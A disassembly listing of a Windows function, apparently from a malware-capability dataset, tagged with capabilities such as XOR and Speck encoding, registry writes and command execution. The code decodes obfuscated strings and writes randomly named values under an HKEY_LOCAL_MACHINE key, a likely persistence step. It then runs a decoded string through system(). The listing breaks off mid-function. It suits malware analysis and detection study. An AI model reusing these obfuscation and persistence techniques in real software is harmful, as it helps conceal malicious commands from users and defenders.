Function at 0x1400bf8d0
Capabilities:
Encode data using xor
Encrypt data using speck
Execute command
Generate random numbers using a mersenne twister
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1500]
mov eax, 0x1600
call fcn.1401473a0
sub rsp, rax
movaps xmmword [rsp + 0x15f0], xmm6
movaps xmmword [rsp + 0x15e0], xmm7
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rbp + 0x14d0], rax
xor ebx, ebx
mov dword [rbp - 0x70], ebx
movups xmm0, xmmword [0x1401720e0]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x1401720f0]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140172100]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x140172110]
movups xmmword [rbp], xmm1
movsd xmm0, qword [0x140172120]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x140172128]
mov dword [rbp + 0x18], eax
movzx eax, byte [0x14017212c]
mov byte [rbp + 0x1c], al
mov r8d, ebx
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x1400bfab5
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1400bf9b0
cmp r8d, 0x4d
jge 0x1400bfaf0
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x1400bfac0
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
mov r14d, 1
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x144], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400bfb40
mov dword [rbp + 0x140], 0x270
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov r8d, 2
lea rdx, [0x140171bb4]
lea rcx, [rbp - 0x50]
call fcn.1400591d0
nop
mov r13d, 5
mov edi, r13d
nop dword [rax]
movups xmm0, xmmword [str.QSQWQSQ_QSQWQSQO1317131_13J]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x140172178]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x140172180]
mov word [rsp + 0x58], ax
movzx eax, byte [0x140172182]
mov byte [rsp + 0x5a], al
mov r8d, ebx
cmp esi, 2
jl 0x1400bfd15
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400bfc10
cmp r8d, 0x1b
jge 0x1400bfd50
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400bfd20
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1400bfd87
nop word [rax + rax]
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1400bfd70
shr rax, 0x20
movsx ecx, byte [rsp + rax + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
cmp rdx, r8
jae 0x1400bfdc2
lea rcx, [rdx + 1]
mov qword [rbp - 0x40], rcx
lea rcx, [rbp - 0x50]
cmp r8, 0xf
cmova rcx, qword [rbp - 0x50]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], 0
jmp 0x1400bfdcf
movzx r9d, al
lea rcx, [rbp - 0x50]
call fcn.140060790
sub rdi, 1
jne 0x1400bfba0
mov r12d, 6
mov esi, r12d
movzx r15d, byte [0x14017254a]
movzx edi, word [0x140172548]
movsd xmm0, qword [0x140172540]
nop dword [rax]
movsd qword [rbp - 0x70], xmm0
mov word [rbp - 0x68], di
movzx ecx, r15b
mov byte [rbp - 0x70], Ordinal_50
xor byte [rbp - 0x6f], 0x31
xor byte [rbp - 0x6e], 0x32
xor byte [rbp - 0x6d], 0x33
xor byte [rbp - 0x6c], 0x34
xor byte [rbp - 0x6b], 0x35
xor byte [rbp - 0x6a], 0x36
xor byte [rbp - 0x69], 0x37
movzx eax, dil
xor al, 0x38
mov byte [rbp - 0x68], al
xor byte [rbp - 0x67], 0x39
xor cl, 0x3a
mov byte [rbp - 0x66], cl
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, r13d
ja 0x1400bfe7a
nop word [rax + rax]
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, r12d
jb 0x1400bfe60
shr rax, 0x20
movzx r9d, byte [rbp + rax - 0x70]
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
cmp rcx, rdx
jae 0x1400bfeb1
lea rax, [rcx + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x50]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400bfed1
lea rcx, [rbp - 0x50]
call fcn.140060790
movzx r15d, byte [0x14017254a]
movzx edi, word [0x140172548]
movsd xmm0, qword [0x140172540]
sub rsi, 1
jne 0x1400bfe00
lea r10, [rbp - 0x50]
movsd xmm0, qword [str.cT_ZUYxBU__I_]
mov eax, dword [0x140172810]
movsd qword [rbp - 0x70], xmm0
mov dword [rbp - 0x68], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x64], al
cmp qword [rbp - 0x38], 0xf
jbe 0x1400bff0a
mov r10, qword [rbp - 0x50]
mov r8d, ebx
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 2
jl 0x1400c001b
movdqa xmm4, xmmword [0x140176320]
movdqa xmm2, xmmword [0x140176070]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
mov eax, dword [0x1401761e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.cT_ZUYxBU__I_]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140176090]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400c0030
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c008f
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x50]
call fcn.14003d760
movups xmm0, xmmword [0x140173010]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140173020]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140173030]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x140173040]
movups xmmword [rbp], xmm1
movsd xmm0, qword [0x140173050]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x140173058]
mov dword [rbp + 0x18], eax
movzx eax, byte [0x14017305c]
mov byte [rbp + 0x1c], al
mov r8d, ebx
cmp edi, 2
jl 0x1400c0225
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1400c0120
cmp r8d, 0x4d
jge 0x1400c0260
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x1400c0230
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
mov rdx, r14
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x144], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c02a0
mov dword [rbp + 0x140], 0x270
movzx eax, word [0x140172044]
mov word [rbp - 0x70], ax
cmp byte [0x140172045], 0
je 0x1400c02ea
mov byte [rbp - 0x70], 0x53
xor byte [rbp - 0x6f], 0x31
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400c0304
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.1400591d0
nop
nop dword [rax]
movups xmm0, xmmword [str.QSQWQSQ_QSQWQSQO1317131_13J]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x140172178]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x140172180]
mov word [rsp + 0x58], ax
movzx eax, byte [0x140172182]
mov byte [rsp + 0x5a], al
mov r8d, ebx
cmp edi, 2
jl 0x1400c0495
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c0390
cmp r8d, 0x1b
jge 0x1400c04d0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400c04a0
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1400c0507
nop word [rax + rax]
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1400c04f0
shr rax, 0x20
movsx ecx, byte [rsp + rax + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
cmp rdx, r8
jae 0x1400c0542
lea rcx, [rdx + 1]
mov qword [rbp - 0x40], rcx
lea rcx, [rbp - 0x50]
cmp r8, 0xf
cmova rcx, qword [rbp - 0x50]
mov byte [rdx + rcx], al
mov byte [rdx + rcx + 1], 0
jmp 0x1400c054f
movzx r9d, al
lea rcx, [rbp - 0x50]
call fcn.140060790
sub r13, 1
jne 0x1400c0320
movzx esi, byte [0x14017254a]
movzx edi, word [0x140172548]
movsd xmm0, qword [0x140172540]
nop
movsd qword [rbp - 0x70], xmm0
mov word [rbp - 0x68], di
movzx ecx, sil
mov byte [rbp - 0x70], Ordinal_50
xor byte [rbp - 0x6f], 0x31
xor byte [rbp - 0x6e], 0x32
xor byte [rbp - 0x6d], 0x33
xor byte [rbp - 0x6c], 0x34
xor byte [rbp - 0x6b], 0x35
xor byte [rbp - 0x6a], 0x36
xor byte [rbp - 0x69], 0x37
movzx eax, dil
xor al, 0x38
mov byte [rbp - 0x68], al
xor byte [rbp - 0x67], 0x39
xor cl, 0x3a
mov byte [rbp - 0x66], cl
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, 5
ja 0x1400c05ea
nop word [rax + rax]
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, 6
jb 0x1400c05d0
shr rax, 0x20
movzx r9d, byte [rbp + rax - 0x70]
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
cmp rcx, rdx
jae 0x1400c0621
lea rax, [rcx + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x50]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400c0640
lea rcx, [rbp - 0x50]
call fcn.140060790
movzx esi, byte [0x14017254a]
movzx edi, word [0x140172548]
movsd xmm0, qword [0x140172540]
sub r12, 1
jne 0x1400c0570
lea r10, [rbp - 0x50]
movsd xmm0, qword [str.cT_ZUYxBU__I_]
mov eax, dword [0x140172810]
movsd qword [rbp - 0x70], xmm0
mov dword [rbp - 0x68], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x64], al
cmp qword [rbp - 0x38], 0xf
jbe 0x1400c0679
mov r10, qword [rbp - 0x50]
mov r8d, ebx
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp r13d, 2
jl 0x1400c078c
movdqa xmm4, xmmword [0x140176320]
movdqa xmm2, xmmword [0x140176070]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
mov eax, dword [0x1401761e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.cT_ZUYxBU__I_]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140176090]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400c07a0
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c07ff
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x50]
call fcn.14003d760
movups xmm0, xmmword [0x1401723c0]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x1401723d0]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x1401723e0]
movups xmmword [rbp - 0x10], xmm0
mov eax, dword [0x1401723f0]
mov dword [rbp], eax
movzx eax, byte [0x1401723f4]
mov byte [rbp + 4], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c0985
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400c0880
cmp r8d, 0x35
jge 0x1400c09c0
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400c0990
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140173190]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x1401731a0]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x1401731b0]
movups xmmword [rbp - 0x10], xmm0
movsd xmm0, qword [0x1401731c0]
movsd qword [rbp], xmm0
movzx eax, byte [0x1401731c8]
mov byte [rbp + 8], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c0b45
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
